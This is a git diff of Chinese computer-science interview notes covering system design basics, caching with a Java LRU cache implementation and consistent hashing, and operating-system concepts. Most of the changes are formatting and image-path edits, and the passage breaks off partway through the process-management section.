+![](index_files/dd15a984-e977-4644-b127-708cddb8ca99.png)
+![](index_files/fa568fac-ac58-48dd-a9bb-23b3065bf2dc.png)
+![](index_files/ff396233-1bb1-4e74-8bc2-d7c90146f5dd.png)
+![](index_files/7f38a583-2f2e-4738-97af-510e6fb403a7.png)
+![](index_files/ef280699-da36-4b38-9735-9b048a3c7fe0.png)
+![](index_files/4f48e806-f90b-4c09-a55f-ac0cd641c047.png)
+![](index_files/3086c248-b552-499e-b101-9cffe5c2773e.png)
+![](index_files/9110c1a0-8a54-4145-a814-2477d0128114.png)
+![](index_files/e2f0d889-2330-424c-8193-198edebecff7.png)
+![](index_files/af4639f9-af54-4400-aaf5-4e261d96ace7.png)
+![](index_files/08427d38-8df1-49a1-8990-e0ce5ee36ca2.png)
+![](index_files/b4252c85-6fb0-4995-9a68-a1a5925fbdb1.png)
+![](index_files/dbb8516d-37ba-4e2c-b26b-eefd7de21b45.png)
+![](index_files/386cd64f-7a9d-40e6-8c55-22b90ee2d258.png)
+![](index_files/54f1e052-0596-4b5e-833c-e80d75bf3f9b.png)
+![](index_files/8587132a-021d-4f1f-a8ec-5a9daa7157a7.png)
+![](index_files/2861e923-4862-4526-881c-15529279d49c.png)
+![](index_files/1c4e8185-8153-46b6-bd5a-288b15feeae6.png)
+![](index_files/3ff4f00a-2321-48fd-95f4-ce6001332151.png)
diff --git a/docs/notes/系统设计基础.md b/docs/notes/系统设计基础.md
index 4cf9cd7c..5520f6f2 100644
--- a/docs/notes/系统设计基础.md
+++ b/docs/notes/系统设计基础.md
@@ -1,91 +1,80 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、性能](#一性能)
-* [二、伸缩性](#二伸缩性)
-* [三、扩展性](#三扩展性)
-* [四、可用性](#四可用性)
-* [五、安全性](#五安全性)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、性能
 
+## 性能指标
 
-# 一、性能
-
-## 性能指标
-
-### 1. 响应时间
+### 1. 响应时间
 
 指某个请求从发出到接收到响应消耗的时间。
 
 在对响应时间进行测试时，通常采用重复请求方式，然后计算平均响应时间。
 
-### 2. 吞吐量
+### 2. 吞吐量
 
 指系统在单位时间内可以处理的请求数量，通常使用每秒的请求数来衡量。
 
-### 3. 并发用户数
+### 3. 并发用户数
 
 指系统能同时处理的并发用户请求数量。
 
-在没有并发存在的系统中，请求被顺序执行，此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s，那么平均响应时间应该为 0.01s。
+在没有并发存在的系统中，请求被顺序执行，此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s，那么平均响应时间应该为 0.01s。
 
 目前的大型系统都支持多线程来处理并发请求，多线程能够提高吞吐量以及缩短响应时间，主要有两个原因：
 
-- 多 CPU
-- IO 等待时间
+- 多 CPU
+- IO 等待时间
 
-使用 IO 多路复用等方式，系统在等待一个 IO 操作完成的这段时间内不需要被阻塞，可以去处理其它请求。通过将这个等待时间利用起来，使得 CPU 利用率大大提高。
+使用 IO 多路复用等方式，系统在等待一个 IO 操作完成的这段时间内不需要被阻塞，可以去处理其它请求。通过将这个等待时间利用起来，使得 CPU 利用率大大提高。
 
 并发用户数不是越高越好，因为如果并发用户数太高，系统来不及处理这么多的请求，会使得过多的请求需要等待，那么响应时间就会大大提高。
 
-## 性能优化
+## 性能优化
 
-### 1. 集群
+### 1. 集群
 
 将多台服务器组成集群，使用负载均衡将请求转发到集群中，避免单一服务器的负载压力过大导致性能降低。
 
-### 2. 缓存
+### 2. 缓存
 
 缓存能够提高性能的原因如下：
 
-- 缓存数据通常位于内存等介质中，这种介质对于读操作特别快；
-- 缓存数据可以位于靠近用户的地理位置上；
-- 可以将计算结果进行缓存，从而避免重复计算。
+- 缓存数据通常位于内存等介质中，这种介质对于读操作特别快；
+- 缓存数据可以位于靠近用户的地理位置上；
+- 可以将计算结果进行缓存，从而避免重复计算。
 
-### 3. 异步
+### 3. 异步
 
 某些流程可以将操作转换为消息，将消息发送到消息队列之后立即返回，之后这个操作会被异步处理。
 
-# 二、伸缩性
+# 二、伸缩性
 
 指不断向集群中添加服务器来缓解不断上升的用户并发访问压力和不断增长的数据存储需求。
 
-## 伸缩性与性能
+## 伸缩性与性能
 
 如果系统存在性能问题，那么单个用户的请求总是很慢的；
 
 如果系统存在伸缩性问题，那么单个用户的请求可能会很快，但是在并发数很高的情况下系统会很慢。
 
-## 实现伸缩性
+## 实现伸缩性
 
 应用服务器只要不具有状态，那么就可以很容易地通过负载均衡器向集群中添加新的服务器。
 
-关系型数据库的伸缩性通过 Sharding 来实现，将数据按一定的规则分布到不同的节点上，从而解决单台存储服务器的存储空间限制。
+关系型数据库的伸缩性通过 Sharding 来实现，将数据按一定的规则分布到不同的节点上，从而解决单台存储服务器的存储空间限制。
 
 对于非关系型数据库，它们天生就是为海量数据而诞生，对伸缩性的支持特别好。
 
-# 三、扩展性
+# 三、扩展性
 
 指的是添加新功能时对现有系统的其它应用无影响，这就要求不同应用具备低耦合的特点。
 
 实现可扩展主要有两种方式：
 
-- 使用消息队列进行解耦，应用之间通过消息传递进行通信；
-- 使用分布式服务将业务和可复用的服务分离开来，业务使用分布式服务框架调用可复用的服务。新增的产品可以通过调用可复用的服务来实现业务逻辑，对其它产品没有影响。
+- 使用消息队列进行解耦，应用之间通过消息传递进行通信；
+- 使用分布式服务将业务和可复用的服务分离开来，业务使用分布式服务框架调用可复用的服务。新增的产品可以通过调用可复用的服务来实现业务逻辑，对其它产品没有影响。
 
-# 四、可用性
+# 四、可用性
 
-## 冗余
+## 冗余
 
 保证高可用的主要手段是使用冗余，当某个服务器故障时就请求其它服务器。
 
@@ -93,18 +82,18 @@
 
 存储服务器的冗余需要使用主从复制来实现，当主服务器故障时，需要提升从服务器为主服务器，这个过程称为切换。
 
-## 监控
+## 监控
 
-对 CPU、内存、磁盘、网络等系统负载信息进行监控，当某个数据达到一定阈值时通知运维人员，从而在系统发生故障之前及时发现问题。
+对 CPU、内存、磁盘、网络等系统负载信息进行监控，当某个数据达到一定阈值时通知运维人员，从而在系统发生故障之前及时发现问题。
 
-## 服务降级
+## 服务降级
 
 服务降级是系统为了应对大量的请求，主动关闭部分功能，从而保证核心功能可用。
 
-# 五、安全性
+# 五、安全性
 
 要求系统在应对各种攻击手段时能够有可靠的应对措施。
 
-# 参考资料
+# 参考资料
 
-- 大型网站技术架构：核心原理与案例分析
+- 大型网站技术架构：核心原理与案例分析
\ No newline at end of file
diff --git a/docs/notes/缓存.md b/docs/notes/缓存.md
index 31fe9e20..ad05fd59 100644
--- a/docs/notes/缓存.md
+++ b/docs/notes/缓存.md
@@ -1,221 +1,208 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、缓存特征](#一缓存特征)
-* [二、LRU](#二lru)
-* [三、缓存位置](#三缓存位置)
-* [四、CDN](#四cdn)
-* [五、缓存问题](#五缓存问题)
-* [六、数据分布](#六数据分布)
-* [七、一致性哈希](#七一致性哈希)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、缓存特征
 
-
-# 一、缓存特征
-
-## 命中率
+## 命中率
 
 当某个请求能够通过访问缓存而得到响应时，称为缓存命中。
 
 缓存命中率越高，缓存的利用率也就越高。
 
-## 最大空间
+## 最大空间
 
 缓存通常位于内存中，内存的空间通常比磁盘空间小的多，因此缓存的最大空间不可能非常大。
 
 当缓存存放的数据量超过最大空间时，就需要淘汰部分数据来存放新到达的数据。
 
-## 淘汰策略
+## 淘汰策略
 
-- FIFO（First In First Out）：先进先出策略，在实时性的场景下，需要经常访问最新的数据，那么就可以使用 FIFO，使得最先进入的数据（最晚的数据）被淘汰。
+- FIFO（First In First Out）：先进先出策略，在实时性的场景下，需要经常访问最新的数据，那么就可以使用 FIFO，使得最先进入的数据（最晚的数据）被淘汰。
 
-- LRU（Least Recently Used）：最近最久未使用策略，优先淘汰最久未使用的数据，也就是上次被访问时间距离现在最久的数据。该策略可以保证内存中的数据都是热点数据，也就是经常被访问的数据，从而保证缓存命中率。
+- LRU（Least Recently Used）：最近最久未使用策略，优先淘汰最久未使用的数据，也就是上次被访问时间距离现在最久的数据。该策略可以保证内存中的数据都是热点数据，也就是经常被访问的数据，从而保证缓存命中率。
 
-# 二、LRU
+# 二、LRU
 
-以下是基于 双向链表 + HashMap 的 LRU 算法实现，对算法的解释如下：
+以下是基于 双向链表 + HashMap 的 LRU 算法实现，对算法的解释如下：
 
-- 访问某个节点时，将其从原来的位置删除，并重新插入到链表头部。这样就能保证链表尾部存储的就是最近最久未使用的节点，当节点数量大于缓存最大空间时就淘汰链表尾部的节点。
-- 为了使删除操作时间复杂度为 O(1)，就不能采用遍历的方式找到某个节点。HashMap 存储着 Key 到节点的映射，通过 Key 就能以 O(1) 的时间得到节点，然后再以 O(1) 的时间将其从双向队列中删除。
+- 访问某个节点时，将其从原来的位置删除，并重新插入到链表头部。这样就能保证链表尾部存储的就是最近最久未使用的节点，当节点数量大于缓存最大空间时就淘汰链表尾部的节点。
+- 为了使删除操作时间复杂度为 O(1)，就不能采用遍历的方式找到某个节点。HashMap 存储着 Key 到节点的映射，通过 Key 就能以 O(1) 的时间得到节点，然后再以 O(1) 的时间将其从双向队列中删除。
 
 ```java
-public class LRU<K, V> implements Iterable<K> {
+public class LRU<K, V> implements Iterable<K> {
 
-    private Node head;
-    private Node tail;
-    private HashMap<K, Node> map;
-    private int maxSize;
+    private Node head;
+    private Node tail;
+    private HashMap<K, Node> map;
+    private int maxSize;
 
-    private class Node {
+    private class Node {
 
-        Node pre;
-        Node next;
-        K k;
-        V v;
+        Node pre;
+        Node next;
+        K k;
+        V v;
 
-        public Node(K k, V v) {
-            this.k = k;
-            this.v = v;
-        }
-    }
+        public Node(K k, V v) {
+            this.k = k;
+            this.v = v;
+        }
+    }
 
 
-    public LRU(int maxSize) {
+    public LRU(int maxSize) {
 
-        this.maxSize = maxSize;
-        this.map = new HashMap<>(maxSize * 4 / 3);
+        this.maxSize = maxSize;
+        this.map = new HashMap<>(maxSize * 4 / 3);
 
-        head = new Node(null, null);
-        tail = new Node(null, null);
+        head = new Node(null, null);
+        tail = new Node(null, null);
 
-        head.next = tail;
-        tail.pre = head;
-    }
+        head.next = tail;
+        tail.pre = head;
+    }
 
 
-    public V get(K key) {
+    public V get(K key) {
 
-        if (!map.containsKey(key)) {
-            return null;
-        }
+        if (!map.containsKey(key)) {
+            return null;
+        }
 
-        Node node = map.get(key);
-        unlink(node);
-        appendHead(node);
+        Node node = map.get(key);
+        unlink(node);
+        appendHead(node);
 
-        return node.v;
-    }
+        return node.v;
+    }
 
 
-    public void put(K key, V value) {
+    public void put(K key, V value) {
 
-        if (map.containsKey(key)) {
-            Node node = map.get(key);
-            unlink(node);
-        }
+        if (map.containsKey(key)) {
+            Node node = map.get(key);
+            unlink(node);
+        }
 
-        Node node = new Node(key, value);
-        map.put(key, node);
-        appendHead(node);
+        Node node = new Node(key, value);
+        map.put(key, node);
+        appendHead(node);
 
-        if (map.size() > maxSize) {
-            Node toRemove = removeTail();
-            map.remove(toRemove.k);
-        }
-    }
+        if (map.size() > maxSize) {
+            Node toRemove = removeTail();
+            map.remove(toRemove.k);
+        }
+    }
 
 
-    private void unlink(Node node) {
+    private void unlink(Node node) {
 
-        Node pre = node.pre;
-        Node next = node.next;
+        Node pre = node.pre;
+        Node next = node.next;
 
-        pre.next = next;
-        next.pre = pre;
+        pre.next = next;
+        next.pre = pre;
 
-        node.pre = null;
-        node.next = null;
-    }
+        node.pre = null;
+        node.next = null;
+    }
 
 
-    private void appendHead(Node node) {
-        Node next = head.next;
-        node.next = next;
-        next.pre = node;
-        node.pre = head;
-        head.next = node;
-    }
+    private void appendHead(Node node) {
+        Node next = head.next;
+        node.next = next;
+        next.pre = node;
+        node.pre = head;
+        head.next = node;
+    }
 
 
-    private Node removeTail() {
+    private Node removeTail() {
 
-        Node node = tail.pre;
+        Node node = tail.pre;
 
-        Node pre = node.pre;
-        tail.pre = pre;
-        pre.next = tail;
+        Node pre = node.pre;
+        tail.pre = pre;
+        pre.next = tail;
 
-        node.pre = null;
-        node.next = null;
+        node.pre = null;
+        node.next = null;
 
-        return node;
-    }
+        return node;
+    }
 
 
-    @Override
-    public Iterator<K> iterator() {
+    @Override
+    public Iterator<K> iterator() {
 
-        return new Iterator<K>() {
-            private Node cur = head.next;
+        return new Iterator<K>() {
+            private Node cur = head.next;
 
-            @Override
-            public boolean hasNext() {
-                return cur != tail;
-            }
+            @Override
+            public boolean hasNext() {
+                return cur != tail;
+            }
 
-            @Override
-            public K next() {
-                Node node = cur;
-                cur = cur.next;
-                return node.k;
-            }
-        };
-    }
+            @Override
+            public K next() {
+                Node node = cur;
+                cur = cur.next;
+                return node.k;
+            }
+        };
+    }
 }
 ```
 
-# 三、缓存位置
+# 三、缓存位置
 
-## 浏览器
+## 浏览器
 
-当 HTTP 响应允许进行缓存时，浏览器会将 HTML、CSS、JavaScript、图片等静态资源进行缓存。
+当 HTTP 响应允许进行缓存时，浏览器会将 HTML、CSS、JavaScript、图片等静态资源进行缓存。
 
-## ISP
+## ISP
 
-网络服务提供商（ISP）是网络访问的第一跳，通过将数据缓存在 ISP 中能够大大提高用户的访问速度。
+网络服务提供商（ISP）是网络访问的第一跳，通过将数据缓存在 ISP 中能够大大提高用户的访问速度。
 
-## 反向代理
+## 反向代理
 
 反向代理位于服务器之前，请求与响应都需要经过反向代理。通过将数据缓存在反向代理，在用户请求反向代理时就可以直接使用缓存进行响应。
 
-## 本地缓存
+## 本地缓存
 
-使用 Guava Cache 将数据缓存在服务器本地内存中，服务器代码可以直接读取本地内存中的缓存，速度非常快。
+使用 Guava Cache 将数据缓存在服务器本地内存中，服务器代码可以直接读取本地内存中的缓存，速度非常快。
 
-## 分布式缓存
+## 分布式缓存
 
-使用 Redis、Memcache 等分布式缓存将数据缓存在分布式缓存系统中。
+使用 Redis、Memcache 等分布式缓存将数据缓存在分布式缓存系统中。
 
 相对于本地缓存来说，分布式缓存单独部署，可以根据需求分配硬件资源。不仅如此，服务器集群都可以访问分布式缓存，而本地缓存需要在服务器集群之间进行同步，实现难度和性能开销上都非常大。
 
-## 数据库缓存
+## 数据库缓存
 
-MySQL 等数据库管理系统具有自己的查询缓存机制来提高查询效率。
+MySQL 等数据库管理系统具有自己的查询缓存机制来提高查询效率。
 
-# 四、CDN
+# 四、CDN
 
-内容分发网络（Content distribution network，CDN）是一种互连的网络系统，它利用更靠近用户的服务器从而更快更可靠地将 HTML、CSS、JavaScript、音乐、图片、视频等静态资源分发给用户。
+内容分发网络（Content distribution network，CDN）是一种互连的网络系统，它利用更靠近用户的服务器从而更快更可靠地将 HTML、CSS、JavaScript、音乐、图片、视频等静态资源分发给用户。
 
-CDN 主要有以下优点：
+CDN 主要有以下优点：
 
-- 更快地将数据分发给用户；
-- 通过部署多台服务器，从而提高系统整体的带宽性能；
-- 多台服务器可以看成是一种冗余机制，从而具有高可用性。
+- 更快地将数据分发给用户；
+- 通过部署多台服务器，从而提高系统整体的带宽性能；
+- 多台服务器可以看成是一种冗余机制，从而具有高可用性。
 
-<div align="center"> <img src="pics/15313ed8-a520-4799-a300-2b6b36be314f.jpg"/> </div><br>
+![](index_files/15313ed8-a520-4799-a300-2b6b36be314f.jpg)
 
-# 五、缓存问题
+# 五、缓存问题
 
-## 缓存穿透
+## 缓存穿透
 
 指的是对某个一定不存在的数据进行请求，该请求将会穿透缓存到达数据库。
 
 解决方案：
 
-- 对这些不存在的数据缓存一个空数据；
-- 对这类请求进行过滤。
+- 对这些不存在的数据缓存一个空数据；
+- 对这类请求进行过滤。
 
-## 缓存雪崩
+## 缓存雪崩
 
 指的是由于数据没有被加载到缓存中，或者缓存数据在同一时间大面积失效（过期），又或者缓存服务器宕机，导致大量的请求都到达数据库。
 
@@ -223,53 +210,53 @@ CDN 主要有以下优点：
 
 解决方案：
 
-- 为了防止缓存在同一时间大面积过期导致的缓存雪崩，可以通过观察用户行为，合理设置缓存过期时间来实现；
-- 为了防止缓存服务器宕机出现的缓存雪崩，可以使用分布式缓存，分布式缓存中每一个节点只缓存部分的数据，当某个节点宕机时可以保证其它节点的缓存仍然可用。
-- 也可以进行缓存预热，避免在系统刚启动不久由于还未将大量数据进行缓存而导致缓存雪崩。
+- 为了防止缓存在同一时间大面积过期导致的缓存雪崩，可以通过观察用户行为，合理设置缓存过期时间来实现；
+- 为了防止缓存服务器宕机出现的缓存雪崩，可以使用分布式缓存，分布式缓存中每一个节点只缓存部分的数据，当某个节点宕机时可以保证其它节点的缓存仍然可用。
+- 也可以进行缓存预热，避免在系统刚启动不久由于还未将大量数据进行缓存而导致缓存雪崩。
 
-## 缓存一致性
+## 缓存一致性
 
 缓存一致性要求数据更新的同时缓存数据也能够实时更新。
 
 解决方案：
 
-- 在数据更新的同时立即去更新缓存；
-- 在读缓存之前先判断缓存是否是最新的，如果不是最新的先进行更新。
+- 在数据更新的同时立即去更新缓存；
+- 在读缓存之前先判断缓存是否是最新的，如果不是最新的先进行更新。
 
 要保证缓存一致性需要付出很大的代价，缓存数据最好是那些对一致性要求不高的数据，允许缓存数据存在一些脏数据。
 
-# 六、数据分布
+# 六、数据分布
 
-## 哈希分布
+## 哈希分布
 
-哈希分布就是将数据计算哈希值之后，按照哈希值分配到不同的节点上。例如有 N 个节点，数据的主键为 key，则将该数据分配的节点序号为：hash(key)%N。
+哈希分布就是将数据计算哈希值之后，按照哈希值分配到不同的节点上。例如有 N 个节点，数据的主键为 key，则将该数据分配的节点序号为：hash(key)%N。
 
-传统的哈希分布算法存在一个问题：当节点数量变化时，也就是 N 值变化，那么几乎所有的数据都需要重新分布，将导致大量的数据迁移。
+传统的哈希分布算法存在一个问题：当节点数量变化时，也就是 N 值变化，那么几乎所有的数据都需要重新分布，将导致大量的数据迁移。
 
-## 顺序分布
+## 顺序分布
 
-将数据划分为多个连续的部分，按数据的 ID 或者时间分布到不同节点上。例如 User 表的 ID 范围为 1 \~ 7000，使用顺序分布可以将其划分成多个子表，对应的主键范围为 1 \~ 1000，1001 \~ 2000，...，6001 \~ 7000。
+将数据划分为多个连续的部分，按数据的 ID 或者时间分布到不同节点上。例如 User 表的 ID 范围为 1 ~ 7000，使用顺序分布可以将其划分成多个子表，对应的主键范围为 1 ~ 1000，1001 ~ 2000，...，6001 ~ 7000。
 
 顺序分布相比于哈希分布的主要优点如下：
 
-- 能保持数据原有的顺序；
-- 并且能够准确控制每台服务器存储的数据量，从而使得存储空间的利用率最大。
+- 能保持数据原有的顺序；
+- 并且能够准确控制每台服务器存储的数据量，从而使得存储空间的利用率最大。
 
-# 七、一致性哈希
+# 七、一致性哈希
 
-Distributed Hash Table（DHT） 是一种哈希分布方式，其目的是为了克服传统哈希分布在服务器节点数量变化时大量数据迁移的问题。
+Distributed Hash Table（DHT） 是一种哈希分布方式，其目的是为了克服传统哈希分布在服务器节点数量变化时大量数据迁移的问题。
 
-## 基本原理
+## 基本原理
 
-将哈希空间 [0, 2<sup>n</sup>-1] 看成一个哈希环，每个服务器节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后，存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
+将哈希空间 [0, 2<sup>n</sup>-1] 看成一个哈希环，每个服务器节点都配置到哈希环上。每个数据对象通过哈希取模得到哈希值之后，存放到哈希环中顺时针方向第一个大于等于该哈希值的节点上。
 
-<div align="center"> <img src="pics/68b110b9-76c6-4ee2-b541-4145e65adb3e.jpg"/> </div><br>
+![](index_files/68b110b9-76c6-4ee2-b541-4145e65adb3e.jpg)
 
-一致性哈希在增加或者删除节点时只会影响到哈希环中相邻的节点，例如下图中新增节点 X，只需要将它前一个节点 C 上的数据重新进行分布即可，对于节点 A、B、D 都没有影响。
+一致性哈希在增加或者删除节点时只会影响到哈希环中相邻的节点，例如下图中新增节点 X，只需要将它前一个节点 C 上的数据重新进行分布即可，对于节点 A、B、D 都没有影响。
 
-<div align="center"> <img src="pics/66402828-fb2b-418f-83f6-82153491bcfe.jpg"/> </div><br>
+![](index_files/66402828-fb2b-418f-83f6-82153491bcfe.jpg)
 
-## 虚拟节点
+## 虚拟节点
 
 上面描述的一致性哈希存在数据分布不均匀的问题，节点存储的数据量有可能会存在很大的不同。
 
@@ -277,10 +264,10 @@ Distributed Hash Table（DHT） 是一种哈希分布方式，其目的是为了
 
 解决方式是通过增加虚拟节点，然后将虚拟节点映射到真实节点上。虚拟节点的数量比真实节点来得多，那么虚拟节点在哈希环上分布的均匀性就会比原来的真实节点好，从而使得数据分布也更加均匀。
 
-# 参考资料
+# 参考资料
 
-- 大规模分布式存储系统
-- [缓存那些事](https://tech.meituan.com/cache_about.html)
-- [一致性哈希算法](https://my.oschina.net/jayhu/blog/732849)
-- [内容分发网络](https://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E5%82%B3%E9%81%9E%E7%B6%B2%E8%B7%AF)
-- [How Aspiration CDN helps to improve your website loading speed?](https://www.aspirationhosting.com/aspiration-cdn/)
+- 大规模分布式存储系统
+- [缓存那些事](https://tech.meituan.com/cache_about.html)
+- [一致性哈希算法](https://my.oschina.net/jayhu/blog/732849)
+- [内容分发网络](https://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E5%82%B3%E9%81%9E%E7%B6%B2%E8%B7%AF)
+- [How Aspiration CDN helps to improve your website loading speed?](https://www.aspirationhosting.com/aspiration-cdn/)
\ No newline at end of file
diff --git a/docs/notes/计算机操作系统.md b/docs/notes/计算机操作系统.md
index a6895a66..6ab4f8bf 100644
--- a/docs/notes/计算机操作系统.md
+++ b/docs/notes/计算机操作系统.md
@@ -1,49 +1,8 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、概述](#一概述)
-    * [基本特征](#基本特征)
-    * [基本功能](#基本功能)
-    * [系统调用](#系统调用)
-    * [大内核和微内核](#大内核和微内核)
-    * [中断分类](#中断分类)
-* [二、进程管理](#二进程管理)
-    * [进程与线程](#进程与线程)
-    * [进程状态的切换](#进程状态的切换)
-    * [进程调度算法](#进程调度算法)
-    * [进程同步](#进程同步)
-    * [经典同步问题](#经典同步问题)
-    * [进程通信](#进程通信)
-* [三、死锁](#三死锁)
-    * [必要条件](#必要条件)
-    * [处理方法](#处理方法)
-    * [鸵鸟策略](#鸵鸟策略)
-    * [死锁检测与死锁恢复](#死锁检测与死锁恢复)
-    * [死锁预防](#死锁预防)
-    * [死锁避免](#死锁避免)
-* [四、内存管理](#四内存管理)
-    * [虚拟内存](#虚拟内存)
-    * [分页系统地址映射](#分页系统地址映射)
-    * [页面置换算法](#页面置换算法)
-    * [分段](#分段)
-    * [段页式](#段页式)
-    * [分页与分段的比较](#分页与分段的比较)
-* [五、设备管理](#五设备管理)
-    * [磁盘结构](#磁盘结构)
-    * [磁盘调度算法](#磁盘调度算法)
-* [六、链接](#六链接)
-    * [编译系统](#编译系统)
-    * [静态链接](#静态链接)
-    * [目标文件](#目标文件)
-    * [动态链接](#动态链接)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、概述
 
+## 基本特征
 
-# 一、概述
-
-## 基本特征
-
-### 1. 并发
+### 1. 并发
 
 并发是指宏观上在一段时间内能同时运行多个程序，而并行则指同一时刻能运行多个指令。
 
@@ -51,7 +10,7 @@
 
 操作系统通过引入进程和线程，使得程序能够并发运行。
 
-### 2. 共享
+### 2. 共享
 
 共享是指系统中的资源可以被多个并发进程共同使用。
 
@@ -59,7 +18,7 @@
 
 互斥共享的资源称为临界资源，例如打印机等，在同一时间只允许一个进程访问，需要用同步机制来实现对临界资源的访问。
 
-### 3. 虚拟
+### 3. 虚拟
 
 虚拟技术把一个物理实体转换为多个逻辑实体。
 
@@ -69,56 +28,56 @@
 
 虚拟内存使用了空分复用技术，它将物理内存抽象为地址空间，每个进程都有各自的地址空间。地址空间和物理内存使用页进行交换，地址空间的页并不需要全部在物理内存中，当使用到一个没有在物理内存的页时，执行页面置换算法，将该页置换到内存中。
 
-### 4. 异步
+### 4. 异步
 
 异步指进程不是一次性执行完毕，而是走走停停，以不可知的速度向前推进。
 
-## 基本功能
+## 基本功能
 
-### 1. 进程管理
+### 1. 进程管理
 
 进程控制、进程同步、进程通信、死锁处理、处理机调度等。
 
-### 2. 内存管理
+### 2. 内存管理
 
 内存分配、地址映射、内存保护与共享、虚拟内存等。
 
-### 3. 文件管理
+### 3. 文件管理
 
 文件存储空间的管理、目录管理、文件读写管理和保护等。
 
-### 4. 设备管理
+### 4. 设备管理
 
-完成用户的 I/O 请求，方便用户使用各种设备，并提高设备的利用率。
+完成用户的 I/O 请求，方便用户使用各种设备，并提高设备的利用率。
 
 主要包括缓冲管理、设备分配、设备处理、虛拟设备等。
 
-## 系统调用
+## 系统调用
 
 如果一个进程在用户态需要使用内核态的功能，就进行系统调用从而陷入内核，由操作系统代为完成。
 
-<div align="center"> <img src="pics/tGPV0.png" width="600"/> </div><br>
+<img src="index_files/tGPV0.png" width="600"/>
 
-Linux 的系统调用主要有以下这些：
+Linux 的系统调用主要有以下这些：
 
-| Task | Commands |
-| :---: | --- |
-| 进程控制 | fork(); exit(); wait(); |
-| 进程通信 | pipe(); shmget(); mmap(); |
-| 文件操作 | open(); read(); write(); |
-| 设备操作 | ioctl(); read(); write(); |
-| 信息维护 | getpid(); alarm(); sleep(); |
-| 安全 | chmod(); umask(); chown(); |
+| Task | Commands |
+| :---: | --- |
+| 进程控制 | fork(); exit(); wait(); |
+| 进程通信 | pipe(); shmget(); mmap(); |
+| 文件操作 | open(); read(); write(); |
+| 设备操作 | ioctl(); read(); write(); |
+| 信息维护 | getpid(); alarm(); sleep(); |
+| 安全 | chmod(); umask(); chown(); |
 
-## 大内核和微内核
+## 大内核和微内核
 
-### 1. 大内核
+### 1. 大内核
 
 大内核是将操作系统功能作为一个紧密结合的整体放到内核。
 
 由于各模块共享信息，因此有很高的性能。
 
-### 2. 微内核
+### 2. 微内核
 
 由于操作系统不断复杂，因此将一部分操作系统功能移出内核，从而降低内核的复杂性。移出的部分根据分层的原则划分成若干服务，相互独立。
 
@@ -126,606 +85,606 @@ Linux 的系统调用主要有以下这些：
 
 因为需要频繁地在用户态和核心态之间进行切换，所以会有一定的性能损失。
 
-<div align="center"> <img src="pics/2_14_microkernelArchitecture.jpg"/> </div><br>
+![](index_files/2_14_microkernelArchitecture.jpg)
 
-## 中断分类
+## 中断分类
 
-### 1. 外中断
+### 1. 外中断
 
-由 CPU 执行指令以外的事件引起，如 I/O 完成中断，表示设备输入/输出处理已经完成，处理器能够发送下一个输入/输出请求。此外还有时钟中断、控制台中断等。
+由 CPU 执行指令以外的事件引起，如 I/O 完成中断，表示设备输入/输出处理已经完成，处理器能够发送下一个输入/输出请求。此外还有时钟中断、控制台中断等。
 
-### 2. 异常
+### 2. 异常
 
-由 CPU 执行指令的内部事件引起，如非法操作码、地址越界、算术溢出等。
+由 CPU 执行指令的内部事件引起，如非法操作码、地址越界、算术溢出等。
 
-### 3. 陷入
+### 3. 陷入
 
 在用户程序中使用系统调用。
 
-# 二、进程管理
+# 二、进程管理
 
-## 进程与线程
+## 进程与线程
 
-### 1. 进程
+### 1. 进程
 
 进程是资源分配的基本单位。
 
-进程控制块 (Process Control Block, PCB) 描述进程的基本信息和运行状态，所谓的创建进程和撤销进程，都是指对 PCB 的操作。
+进程控制块 (Process Control Block, PCB) 描述进程的基本信息和运行状态，所谓的创建进程和撤销进程，都是指对 PCB 的操作。
 
-下图显示了 4 个程序创建了 4 个进程，这 4 个进程可以并发地执行。
+下图显示了 4 个程序创建了 4 个进程，这 4 个进程可以并发地执行。
 
-<div align="center"> <img src="pics/a6ac2b08-3861-4e85-baa8-382287bfee9f.png"/> </div><br>
+![](index_files/a6ac2b08-3861-4e85-baa8-382287bfee9f.png)
 
-### 2. 线程
+### 2. 线程
 
 线程是独立调度的基本单位。
 
 一个进程中可以有多个线程，它们共享进程资源。
 
-QQ 和浏览器是两个进程，浏览器进程里面有很多线程，例如 HTTP 请求线程、事件响应线程、渲染线程等等，线程的并发执行使得在浏览器中点击一个新链接从而发起 HTTP 请求时，浏览器还可以响应用户的其它事件。
+QQ 和浏览器是两个进程，浏览器进程里面有很多线程，例如 HTTP 请求线程、事件响应线程、渲染线程等等，线程的并发执行使得在浏览器中点击一个新链接从而发起 HTTP 请求时，浏览器还可以响应用户的其它事件。
 
-<div align="center"> <img src="pics/3cd630ea-017c-488d-ad1d-732b4efeddf5.png"/> </div><br>
+![](index_files/3cd630ea-017c-488d-ad1d-732b4efeddf5.png)
 
-### 3. 区别
+### 3. 区别
 
-Ⅰ 拥有资源
+Ⅰ 拥有资源
 
 进程是资源分配的基本单位，但是线程不拥有资源，线程可以访问隶属进程的资源。
 
-Ⅱ 调度
+Ⅱ 调度
 
 线程是独立调度的基本单位，在同一进程中，线程的切换不会引起进程切换，从一个进程中的线程切换到另一个进程中的线程时，会引起进程切换。
 
-Ⅲ 系统开销
+Ⅲ 系统开销
 
-由于创建或撤销进程时，系统都要为之分配或回收资源，如内存空间、I/O 设备等，所付出的开销远大于创建或撤销线程时的开销。类似地，在进行进程切换时，涉及当前执行进程 CPU 环境的保存及新调度进程 CPU 环境的设置，而线程切换时只需保存和设置少量寄存器内容，开销很小。
+由于创建或撤销进程时，系统都要为之分配或回收资源，如内存空间、I/O 设备等，所付出的开销远大于创建或撤销线程时的开销。类似地，在进行进程切换时，涉及当前执行进程 CPU 环境的保存及新调度进程 CPU 环境的设置，而线程切换时只需保存和设置少量寄存器内容，开销很小。
 
-Ⅳ 通信方面
